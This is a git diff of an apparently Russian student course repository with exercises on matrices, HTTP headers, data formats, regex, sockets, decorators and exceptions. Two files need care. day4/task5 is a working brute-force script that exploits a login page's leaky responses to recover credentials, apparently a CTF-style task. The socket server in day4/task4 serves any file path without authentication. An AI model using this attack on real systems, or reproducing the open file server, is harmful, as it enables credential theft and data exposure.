summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--day2.5/task1/task1.py45
-rw-r--r--day2.5/task2/task2.py54
-rw-r--r--day3/task1/README.md18
-rw-r--r--day3/task2/README.md98
-rw-r--r--day3/task3/task2.json17
-rw-r--r--day3/task3/task2.xml16
-rw-r--r--day3/task3/task2.yaml10
-rw-r--r--day3/task4/task4.py56
-rw-r--r--day4/task1/task1.py4
-rw-r--r--day4/task2/task2.py17
-rw-r--r--day4/task4/client.py135
-rw-r--r--day4/task4/server.py125
-rw-r--r--day4/task5/task5.py78
-rw-r--r--day5/task1/task1.py20
-rw-r--r--day5/task2/task2.py31
-rw-r--r--day5/task3/task3.py29
-rw-r--r--day5/task4/task4.py23
-rw-r--r--day6/task1/task1.py5
-rw-r--r--day6/task2/task2.py7
-rw-r--r--day6/task3/task3.py35
20 files changed, 823 insertions, 0 deletions
diff --git a/day2.5/task1/task1.py b/day2.5/task1/task1.py
new file mode 100644
index 0000000..f7ce690
--- /dev/null
+++ b/day2.5/task1/task1.py
@@ -0,0 +1,45 @@
+n = int(input())
+RIGHT, DOWN, LEFT, UP = range(4)
+
+matrix = [[0 for _ in range(n)] for _ in range(n)]
+
+current = [0, 0]
+direction = RIGHT
+
+for i in range(1, n ** 2 + 1):
+ matrix[current[1]][current[0]] = i
+
+ if direction == RIGHT:
+ if current[0] + 1 >= n or matrix[current[1]][current[0] + 1] != 0:
+ direction = DOWN
+ current[1] += 1
+ else:
+ current[0] += 1
+
+ elif direction == DOWN:
+ if current[1] + 1 >= n or matrix[current[1] + 1][current[0]] != 0:
+ direction = LEFT
+ current[0] -= 1
+ else:
+ current[1] += 1
+
+ elif direction == LEFT:
+ if current[0] - 1 < 0 or matrix[current[1]][current[0] - 1] != 0:
+ direction = UP
+ current[1] -= 1
+ else:
+ current[0] -= 1
+
+ elif direction == UP:
+ if current[1] - 1 < 0 or matrix[current[1] - 1][current[0]] != 0:
+ direction = RIGHT
+ current[0] += 1
+ else:
+ current[1] -= 1
+
+
+# Переводим все числа в строки и делаем их необходимой длины, чтобы вывод был наглядным
+# Длина, до которой дополняем все числа, точно будет равна длине самого большого числа в матрице
+maxlen = len(str(n ** 2))
+for row in matrix:
+ print(*map(lambda num: str(num).rjust(maxlen, ' '), row))
diff --git a/day2.5/task2/task2.py b/day2.5/task2/task2.py
new file mode 100644
index 0000000..dc89b3c
--- /dev/null
+++ b/day2.5/task2/task2.py
@@ -0,0 +1,54 @@
+from math import ceil
+
+n = int(input('Введите размер стороны матрицы: '))
+m = int(input('Введите вычисляемую строку: '))
+while m < 1 or m > n:
+ print('Неверный номер строки')
+ m = int(input('Введите вычисляемую строку: '))
+
+RIGHT, DOWN, LEFT, UP = range(4)
+
+row = [0 for _ in range(n)]
+
+current = [0, 0]
+direction = RIGHT
+xshift = 0
+yshift = 0
+
+for i in range(1, n ** 2 + 1):
+ if current[1] == m - 1:
+ row[current[0]] = i
+
+ if direction == RIGHT:
+ if current[0] + 1 >= n - ceil(xshift / 2):
+ direction = DOWN
+ current[1] += 1
+ xshift += 1
+ else:
+ current[0] += 1
+
+ elif direction == DOWN:
+ if current[1] + 1 >= n - yshift // 2:
+ direction = LEFT
+ current[0] -= 1
+ yshift += 1
+ else:
+ current[1] += 1
+
+ elif direction == LEFT:
+ if current[0] - 1 < 0 + xshift // 2:
+ direction = UP
+ current[1] -= 1
+ xshift += 1
+ else:
+ current[0] -= 1
+
+ elif direction == UP:
+ if current[1] - 1 < 0 + ceil(yshift / 2):
+ direction = RIGHT
+ current[0] += 1
+ yshift += 1
+ else:
+ current[1] -= 1
+
+print(*row)
diff --git a/day3/task1/README.md b/day3/task1/README.md
new file mode 100644
index 0000000..5e3ef67
--- /dev/null
+++ b/day3/task1/README.md
@@ -0,0 +1,18 @@
+# JSON
+
+Является независимым подмножеством языка Javascript, которое сегодня можно сериализовать/десериализовать практически в
+любом языке программирования.
+
+В сравнении с XML является более лаконичным из-за чего может быть более подходящим для передачи сложных структур по
+сети (снижение используемого трафика).
+
+Является подмножеством YAML.
+
+# YAML
+
+Является надмножеством JSON из-за чего включает в себя все его положительные стороны. Концептуально близок к языкам
+разметки, но ориентированный на удобство ввода-вывода типичных структур данных многих языков программирования.
+
+# XML
+Язык разметки, разработанный W3C. Во многом многословен из-за чего может оказаться невыгодным для передачи небольших
+структур данных по сети, но становится более удобным и эффективным при росте размера и сложности документа.
diff --git a/day3/task2/README.md b/day3/task2/README.md
new file mode 100644
index 0000000..84298d9
--- /dev/null
+++ b/day3/task2/README.md
@@ -0,0 +1,98 @@
+# Документ 1
+
+> Request URL: https://app.reg.academy/admin
+
+URL, запрашиваемый у сервера
+
+> Request Method: GET
+
+Метод, с помощью которого создается запрос серверу. Далее сервер на своей стороне решает как именно обрабатывать
+запрос с данным методом. Действия сервера в соответствии с методом описаный в спецификации, но реальные действия
+ею не ограничены и сервер реализовывать ответы на запросы не по спецификации.
+
+> Status Code: 200 OK
+
+Статус запроса. Статус 200 означает, что запрос обработан успешно. Используется для того, чтобы клиент мог узнать как
+был обработан его запрос и при появлении ошибок знал их причину.
+
+> Remote Address: 89.108.89.128:443
+
+IP-адрес и порт сервера.
+
+> Referrer Policy: no-referrer-when-downgrade
+
+Заголовок, который означает, что URL клиента не будет отослан серверу,
+если уровень защиты соединения понизился (HTTPS -> HTTP), но будет отослан, если уровень защиты
+останется тем же (HTTP -> HTTP, HTTPS -> HTTPS)
+
+> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,
+
+Список допустимых форматов ресурса. (Обычный текст, и картинки разных форматов).
+
+> Accept-Encoding: gzip, deflate, br
+
+Перечень поддерживаемых способов кодирования содержимого сущности при передаче.
+
+> Accept-Language: en-US,en;q=0.9,ru;q=0.8
+
+Список поддерживаемых естественных языков.
+
+> Cache-Control: no-cache
+
+Директива для управления кэшем. (не использовать кэш).
+
+> Connection: keep-alive
+
+Сведения о проведении соединения. (Сохранять соединение, пока оно не закроется).
+
+> Cookie: connect.sid=s123123123E
+
+Cookie-информация. Хранится на компьютере клиента. Используется для сохранения некоторых данных на стороне клиента.
+Передается серверу в составе HTTP-запроса.
+
+> Host: app.reg.academy
+
+URL сервера.
+
+> Pragma: no-cache
+
+Используется как заголовок для обратной совместимости с системами, в которых заголовок Cache-Control не обрабатывается.
+Используется аналогично Cache-Control.
+
+> Referer: https://app.reg.academy/admin/schools
+
+URL запроса клиента. При переходе по ссылке с одной страницы на другуй Referer будет являться первая.
+
+> Upgrade-Insecure-Requests: 1
+
+Заголовок для сервера, который означает, что клиент предпочитает
+защищенное соединение над незащищенным (HTTPS над HTTP).
+
+> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
+
+Список названий и версий программ клиента, с помощью которых совершаются запросы и производится
+обработка ответов сервера.
+
+# Документ 2
+
+*Описаны только заголовки, отсутствующие в первом документе.*
+
+> Content-Length: 86
+
+Размер передаваемого содержимого в байтах.
+
+> Content-Type: application/json;charset=UTF-8
+
+Тип передаваемого содержимого (JSON-файл в UTF-8 кодировке)
+
+> csrf-token: bsARqevf-Uc1JBrBCxTuOPVnRgvL2gSEtcys
+
+Ключ, сгенерированный браузером для защиты от межсайтовой подделки запроса. (CSRF - Сross Site Request Forgery).
+
+> Origin: https://app.reg.academy
+
+Заголовок содержит в себе URL сервера
+
+> X-Requested-With: XMLHttpRequest
+
+Используется при запросах из JavaScript без перезагрузки страницы. Полезен для имитации AJAX запросов.
diff --git a/day3/task3/task2.json b/day3/task3/task2.json
new file mode 100644
index 0000000..6ba9ee3
--- /dev/null
+++ b/day3/task3/task2.json
@@ -0,0 +1,17 @@
+[
+ {
+ "name": "blini",
+ "ingredient" : {
+ "milk": 500,
+ "egs" : 2,
+ "flour" : 200,
+ "sugar" : 2
+ }
+ },
+ {
+ "name": "fried eggs",
+ "ingredient": {
+ "egs": 3
+ }
+ }
+] \ No newline at end of file
diff --git a/day3/task3/task2.xml b/day3/task3/task2.xml
new file mode 100644
index 0000000..ba343a1
--- /dev/null
+++ b/day3/task3/task2.xml
@@ -0,0 +1,16 @@
+<?xml version="1.1" encoding="UTF-8"?>
+<meals>
+ <meal name="blini">
+ <ingridients>
+ <ingridient name="milk" amount="500"/>
+ <ingridient name="egs" amount="2"/>
+ <ingridient name="flour" amount="200"/>
+ <ingridient name="sugar" amount="2"/>
+ </ingridients>
+ </meal>
+ <meal name="fried eggs">
+ <ingridients>
+ <ingridient name="egs" amount="3"/>
+ </ingridients>
+ </meal>
+</meals> \ No newline at end of file
diff --git a/day3/task3/task2.yaml b/day3/task3/task2.yaml
new file mode 100644
index 0000000..42c9c6b
--- /dev/null
+++ b/day3/task3/task2.yaml
@@ -0,0 +1,10 @@
+- name: blini
+ ingridient:
+ milk: 500
+ egs: 2
+ flour: 200
+ sugar: 2
+
+- name: fried eggs
+ ingridient:
+ egs: 3 \ No newline at end of file
diff --git a/day3/task4/task4.py b/day3/task4/task4.py
new file mode 100644
index 0000000..b02f1fa
--- /dev/null
+++ b/day3/task4/task4.py
@@ -0,0 +1,56 @@
+import re
+from datetime import datetime
+
+f = open('otrs_error.log')
+
+matcher = re.compile(r'\[(?P<date>.*?)\]\[(?P<type>.*?)\]\[(?P<module>.*?)\]\[(?P<id>.*?)\] (?P<text>.*)')
+
+match_date_low = datetime(2017, 8, 6, 10, 0)
+match_date_high = datetime(2017, 8, 6, 19, 0)
+count_module = 'Kernel::System::Ticket::TicketPermission'
+counter = 0
+
+errors_by_module = {}
+errors_by_date = {}
+
+lines = f.readlines()
+for line in lines:
+ line = line.strip()
+ match = re.match(matcher, line)
+
+ if match:
+ try:
+ date = datetime.strptime(match.group('date'), '%c')
+ except ValueError:
+ print(f'Ошибка при разборе строки (Неверный формат даты):\n{line}')
+ continue
+
+ module = match.group('module')
+
+ if match_date_low <= date <= match_date_high and module == count_module:
+ counter += 1
+
+ errors_by_module[module] = errors_by_module.get(module, 0) + 1
+
+ err_date = datetime(date.year, date.month, date.day)
+ errors_by_date[err_date] = errors_by_date.get(err_date, []) + [{
+ 'date': date,
+ 'type': match.group('type'),
+ 'module': module,
+ 'id': match.group('id'),
+ 'text': match.group('text')
+ }]
+
+ else:
+ print(f'Ошибка при разборе строки:\n{line}')
+
+print(f'За период с {match_date_low} по {match_date_high} в модуле "{count_module}" произошло {counter} ошибок')
+
+for module, count in sorted(errors_by_module.items(), key=lambda p: p[1], reverse=True):
+ print(f'В модуле {module} за все время произошло {count} ошибок')
+
+for date, errors in errors_by_date.items():
+ # Дополняем дни и месяцы до ширины 2 с помощью нулей слева
+ with open(f'{str(date.day).rjust(2, "0")}.{str(date.month).rjust(2, "0")}.{date.year}.txt', 'w') as f:
+ for error in errors:
+ f.write(f"[{date.ctime()}][{error['type']}][{error['module']}][{error['id']}] {error['text']}\n")
diff --git a/day4/task1/task1.py b/day4/task1/task1.py
new file mode 100644
index 0000000..7b16685
--- /dev/null
+++ b/day4/task1/task1.py
@@ -0,0 +1,4 @@
+import re
+
+s = 'this =- is , bad ! text #$%^123%^'
+print(re.sub(r'[^a-zA-Zа-яА-ЯёЁ]', ' ', s))
diff --git a/day4/task2/task2.py b/day4/task2/task2.py
new file mode 100644
index 0000000..b4c69d2
--- /dev/null
+++ b/day4/task2/task2.py
@@ -0,0 +1,17 @@
+import re
+
+with open('index.html') as f:
+ data = f.read()
+
+
+# Оставлю паттерн в этом виде, потому что пайчарм подсвечивает регулярки в связанных с ними функциях
+url_pattern = re.compile(r'https?://([a-zA-Z0-9-_]+?\b\.)+([a-zA-Z0-9-_]+?\b)/?(([a-zA-Z0-9-_.]+?\b/)+([a-zA-Z0-9\-_.]+)/?)?')
+
+# re.DOTALL нужен потому что в примере внутри тега с картинкой есть перевод строки,
+# а . не матчит переносы. Можно было бы заменить ".*?" на "(\n|.)*?", но так может появиться
+# лишняя группа в начале из-за чего искомая ссылка не будет гарантированно(!) первой сматченной группой.
+pattern = re.compile(f'<img.*?src=[\'"]?({url_pattern.pattern})["\']?.*?/?>', re.DOTALL)
+
+matches = re.findall(pattern, data)
+links = list(map(lambda match: match[0], matches))
+print(links)
diff --git a/day4/task4/client.py b/day4/task4/client.py
new file mode 100644
index 0000000..b6f0ab8
--- /dev/null
+++ b/day4/task4/client.py
@@ -0,0 +1,135 @@
+import socket
+from time import sleep
+import struct
+import json
+import shelve
+
+try:
+ from tqdm import tqdm
+ TQDM = True
+except ImportError:
+ print('Для вывода прогресса загрузки файлов установите библиотеку tqdm')
+ TQDM = False
+
+
+DATATYPE_SIZE = 4 # int
+CHUNK_SIZE = 4096000
+HOST, PORT = ADDR = 'localhost', 6000
+
+
+class Client:
+ def __init__(self, server_host, server_port):
+ self.server = socket.socket()
+ self.db = shelve.open('backdoor.db')
+
+ address = server_host, server_port
+ cnt = 0
+ while cnt < 10:
+ try:
+ cnt += 1
+ self.server.connect(address)
+
+ except ConnectionRefusedError:
+ print('Не удалось подключиться к серверу. Следующая попытка через 3 секунды...')
+ sleep(3)
+
+ else:
+ break
+
+ else:
+ print('Не удалось подключиться к серверу через 10 попыток.\nОстанавливаемся...')
+ self.server.close()
+
+ def start(self):
+ while True:
+ try:
+ data = input('Введите команду:\n')
+ self.handle_input(data)
+
+ except ValueError as err:
+ print(err)
+
+ except KeyboardInterrupt:
+ break
+
+ self.server.close()
+
+ def handle_input(self, data):
+ cmd, args = data.split(' ', maxsplit=1)
+
+ if cmd == 'get':
+ self.download_file(args)
+
+ elif cmd == 'cp':
+ paths = args.split()
+ if len(paths) != 2:
+ raise ValueError('Неверное количество путей в параметрах.')
+
+ src, dest = paths
+
+ # Если файл не присутствует в БД, то предварительно его загружаем
+ if src not in self.db:
+ self.download_file(src)
+
+ # При любых ошибках при загрузке файла download_file выкинет исключение и исполнение
+ # не дойдет до этого блока, поэтому можно не проверять наличие src в БД
+ with open(dest, 'wb') as f:
+ f.write(self.db[src])
+
+ else:
+ raise ValueError('Команда не распознана')
+
+ def download_file(self, path):
+ response = self.make_get_request(path)
+ if response['status'] == 0:
+ print(f'Загружаем файл размером {response["size"]} байт...')
+
+ file_data = self.receive_data(int(response['size']), use_tqdm=True)
+ self.db[path] = file_data
+
+ print('Загрузка завершена')
+
+ elif response['status'] == 1:
+ raise ValueError(response['reason'])
+
+ elif response['status'] == 2:
+ raise ValueError(f'Неизвестная ошибка: {response["reason"]}')
+
+ def make_get_request(self, path):
+ packet = Client.pack_str(json.dumps({'method': 'get', 'path': path}))
+ self.server.sendall(packet)
+ return Client.parse_response(self.receive_data(DATATYPE_SIZE))
+
+ def receive_data(self, data_size, use_tqdm=False):
+ data = b''
+
+ # С копипастой надо бы что-то сделать, но я не знаю что
+ if not use_tqdm or not TQDM:
+ while len(data) < data_size:
+ (packet_size,) = struct.unpack('I', self.server.recv(DATATYPE_SIZE))
+ data += self.server.recv(packet_size)
+ if not data:
+ raise ConnectionError('Connection was closed')
+
+ elif TQDM:
+ for count in tqdm(range(0, data_size, CHUNK_SIZE)):
+ (packet_size,) = struct.unpack('I', self.server.recv(DATATYPE_SIZE))
+ data += self.server.recv(packet_size)
+ if not data:
+ raise ConnectionError('Connection was closed')
+
+ return data
+
+ @staticmethod
+ def pack_str(data):
+ encoded = data.encode()
+ return struct.pack('I', len(encoded)) + encoded
+
+ @staticmethod
+ def parse_response(data):
+ return json.loads(data.decode())
+
+
+if __name__ == '__main__':
+ client = Client(HOST, PORT)
+ client.start()
diff --git a/day4/task4/server.py b/day4/task4/server.py
new file mode 100644
index 0000000..d013b35
--- /dev/null
+++ b/day4/task4/server.py
@@ -0,0 +1,125 @@
+import socket
+import struct
+import json
+
+
+HOST, PORT = ADDR = '0.0.0.0', 6000
+CHUNK_SIZE = 4096000
+DATATYPE_SIZE = 4 # int
+
+
+def pack_str(data: str):
+ encoded = data.encode()
+ return struct.pack('I', len(encoded)) + encoded
+
+
+def pack_bytes(data: bytes):
+ return struct.pack('I', len(data)) + data
+
+
+def handle_request(data, connection):
+ request = json.loads(data)
+
+ # Хотя метод только один, но все равно лучше
+ # сразу написать расширяемое приложение
+ if request['method'] == 'get':
+ path = request['path']
+
+ try:
+ with open(path, 'rb') as f:
+ file_data = f.read()
+
+ except FileNotFoundError:
+ header = json.dumps({'status': 1, 'reason': 'Файл не найден'})
+ connection.sendall(pack_str(header))
+
+ except PermissionError:
+ header = json.dumps({'status': 1, 'reason': 'Файл не доступен для чтения'})
+ connection.sendall(pack_str(header))
+
+ # Я знаю, что это плохо, но сервер не должен падать,
+ # а других ошибок я не смог вспомнить
+ except Exception as e:
+ header = json.dumps({'status': 2, 'reason': f'{type(e)}: {e}'})
+ connection.sendall(pack_str(header))
+
+ else:
+ length = len(file_data)
+ header = json.dumps({'status': 0, 'size': length, 'path': request['path']})
+ connection.sendall(pack_str(header))
+ print(f'Started sending file of size {length} bytes...')
+ i = 0
+ while i < length:
+ packet = pack_bytes(file_data[i: i + CHUNK_SIZE])
+ connection.sendall(packet)
+ i += CHUNK_SIZE
+ print(i / length * 100, '%')
+ print(f'Transmission ended')
+
+
+def get_data(connection):
+ buffer = b''
+ # Считываем размер пакета
+ while len(buffer) < DATATYPE_SIZE:
+ data = connection.recv(DATATYPE_SIZE - len(buffer))
+ if not data:
+ raise ConnectionError('Connection was closed')
+
+ buffer += data
+
+ size_packed, buffer = buffer[:DATATYPE_SIZE], buffer[DATATYPE_SIZE:]
+ if not size_packed:
+ raise ConnectionError('Connection was closed')
+
+ (size,) = struct.unpack('I', size_packed)
+ data = connection.recv(size - len(buffer))
+ return buffer + data
+
+
+def handle_connection(connection, address):
+ while True:
+ try:
+ data = get_data(connection)
+
+ except ConnectionResetError:
+ print(f'Connection with {address[0]} was unexpectedly closed')
+ break
+
+ except ConnectionError:
+ print(f'Connection with {address[0]} was ended')
+ break
+
+ except KeyboardInterrupt:
+ raise KeyboardInterrupt()
+
+ else:
+ if not data:
+ print(f'Connection with {address[0]} was ended')
+ break
+ handle_request(data.decode(), connection)
+
+
+def main():
+ sock = socket.socket()
+ sock.bind(ADDR)
+ sock.listen(5)
+
+ while True:
+ print('Listening for new connections...')
+ try:
+ connection, address = sock.accept()
+ print(f'Got a connection from {address[0]}')
+ handle_connection(connection, address)
+
+ except ConnectionResetError:
+ print(f'Connection with {address[0]} was unexpectedly closed')
+
+ except KeyboardInterrupt:
+ print('Stopping server...')
+ sock.close()
+ print('Server stopped')
+ break
+
+
+if __name__ == '__main__':
+ main()
diff --git a/day4/task5/task5.py b/day4/task5/task5.py
new file mode 100644
index 0000000..5aa14db
--- /dev/null
+++ b/day4/task5/task5.py
@@ -0,0 +1,78 @@
+import requests
+import re
+import string
+
+
+def brute_login(login_len, password):
+ login = ''
+ for _ in range(login_len):
+ for char in login_alphabet:
+ resp = requests.post(url, data={
+ 'login': (login + char).ljust(login_len),
+ 'password': password
+ })
+ try:
+ if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login):
+ print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
+ login += char
+ break
+ except IndexError:
+ print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
+ login += char
+ break
+ else:
+ print('Ни один из символов алфавита не подошел.')
+ quit()
+
+ return login
+
+
+def brute_password(pass_len, login):
+ password = ''
+
+ for _ in range(pass_len):
+ for char in password_alphabet:
+ resp = requests.post(url, data={
+ 'login': login,
+ 'password': (password + char).ljust(pass_len)
+ })
+ try:
+ if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password):
+ print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
+ password += char
+ break
+ except IndexError:
+ print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
+ password += char
+ break
+ else:
+ print('Ни один из символов алфавита не подошел.')
+ quit()
+
+ return password
+
+
+url = 'http://213.178.59.123:8000/admin_auth'
+login_alphabet = string.printable
+# Судя по тому, что возвращает страничка, когда введен правильный логин
+# и в пароле правильное количество знаков, в пароле есть только цифры.
+password_alphabet = string.digits
+
+login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
+pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
+login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL)
+password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL)
+
+resp = requests.post(url, data={'login': '123', 'password': '123'})
+login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3
+real_login = brute_login(login_len, '123')
+print(f'Логин подобран: {real_login}')
+
+resp = requests.post(url, data={'login': real_login, 'password': '123'})
+pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3
+real_password = brute_password(pass_len, real_login)
+print(f'Пароль подобран: {real_password}')
+
+resp = requests.post(url, data={'login': real_login, 'password': real_password})
+code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0]
+print(f'Секретный код: {code}')
diff --git a/day5/task1/task1.py b/day5/task1/task1.py
new file mode 100644
index 0000000..19aee5b
--- /dev/null
+++ b/day5/task1/task1.py
@@ -0,0 +1,20 @@
+def ingredients(func):
+ def wrapper(*args, **kwargs):
+ _ingredients = ['хлеб', 'кетчуп', 'сыр']
+ for ingredient in _ingredients:
+ print('---%s---' % ingredient)
+
+ func(*args, **kwargs)
+
+ for ingredient in _ingredients[::-1]:
+ print('---%s---' % ingredient)
+
+ return wrapper
+
+
+@ingredients
+def main_ingredient(meat):
+ print('---%s---' % meat)
+
+
+main_ingredient('ветчина')
diff --git a/day5/task2/task2.py b/day5/task2/task2.py
new file mode 100644
index 0000000..e54b4a3
--- /dev/null
+++ b/day5/task2/task2.py
@@ -0,0 +1,31 @@
+def bread(func):
+ def wrapper(*args, **kwargs):
+ print('---хлеб---')
+
+ func(*args, **kwargs)
+
+ print('---хлеб---')
+
+ return wrapper
+
+
+def ingredients(func):
+ def wrapper(*args, **kwargs):
+ for ingredient in ['кетчуп', 'сыр']:
+ print('---%s---' % ingredient)
+
+ func(*args, **kwargs)
+
+ for ingredient in ['кетчуп', 'сыр'][::-1]:
+ print('---%s---' % ingredient)
+
+ return wrapper
+
+
+@bread
+@ingredients
+def main_ingredient(meat):
+ print('---%s---' % meat)
+
+
+main_ingredient('ветчина')
diff --git a/day5/task3/task3.py b/day5/task3/task3.py
new file mode 100644
index 0000000..d3006e5
--- /dev/null
+++ b/day5/task3/task3.py
@@ -0,0 +1,29 @@
+# Оригинал
+"""
+def decor(some_params):
+ def wrapper(pr_function_like_an_arg):
+ print(some_params)
+ return pr_function_like_an_arg
+
+ return wrapper
+
+
+@decor('some_params')
+def pr_function():
+ print(' hi! ')
+
+
+print('---')
+
+
+pr_function()
+"""
+
+
+def pr_function():
+ print(' hi! ')
+
+
+print('some_params')
+print('---')
+pr_function()
diff --git a/day5/task4/task4.py b/day5/task4/task4.py
new file mode 100644
index 0000000..6acf659
--- /dev/null
+++ b/day5/task4/task4.py
@@ -0,0 +1,23 @@
+def spoiler(func):
+ def wrapper(*args, **kwargs):
+ print('\\--', end='')
+ func(*args, **kwargs)
+
+ return wrapper
+
+
+def wheels(func):
+ def wrapper(*args, **kwargs):
+ func(*args, **kwargs)
+ print(' o o')
+
+ return wrapper
+
+
+@spoiler
+@wheels
+def regular_car():
+ print("Lada седан, баклажан")
+
+
+regular_car()
diff --git a/day6/task1/task1.py b/day6/task1/task1.py
new file mode 100644
index 0000000..af3afbf
--- /dev/null
+++ b/day6/task1/task1.py
@@ -0,0 +1,5 @@
+try:
+ a = int(input())
+ print(100 / a)
+except:
+ print('ошибка ввода')
diff --git a/day6/task2/task2.py b/day6/task2/task2.py
new file mode 100644
index 0000000..a95feae
--- /dev/null
+++ b/day6/task2/task2.py
@@ -0,0 +1,7 @@
+try:
+ a = input()
+ print(100 / int(a))
+except ValueError as e:
+ print(e)
+except ZeroDivisionError as e:
+ print(e)
diff --git a/day6/task3/task3.py b/day6/task3/task3.py
new file mode 100644
index 0000000..5541d36
--- /dev/null
+++ b/day6/task3/task3.py
@@ -0,0 +1,35 @@
+def divide(a, b):
+ if a > b:
+ import hahaha
+
+ # В задании указано, что строго меньше,
+ # поэтому не else, а elif a < b
+ elif a < b:
+ import sys
+
+ # Проверяем остаток
+ div, mod = divmod(a, b)
+ if mod == 0:
+ return div
+ else:
+ raise ArithmeticError(f'{a / b}')
+
+
+try:
+ a = int(input())
+ b = int(input())
+ result = divide(a, b)
+
+except ArithmeticError as e:
+ print(f'Результат деления с остатком: {e}')
+
+# В задании написано отлавливать в отдельных except,
+# но язык позволяет использовать более разумный синтаксис
+except (ValueError, ZeroDivisionError, ModuleNotFoundError) as e:
+ print(e)
+
+except:
+ print('Непредвиденная ошибка')
+
+else:
+ print(f'Поделили успешно, вот вам результат: {result}')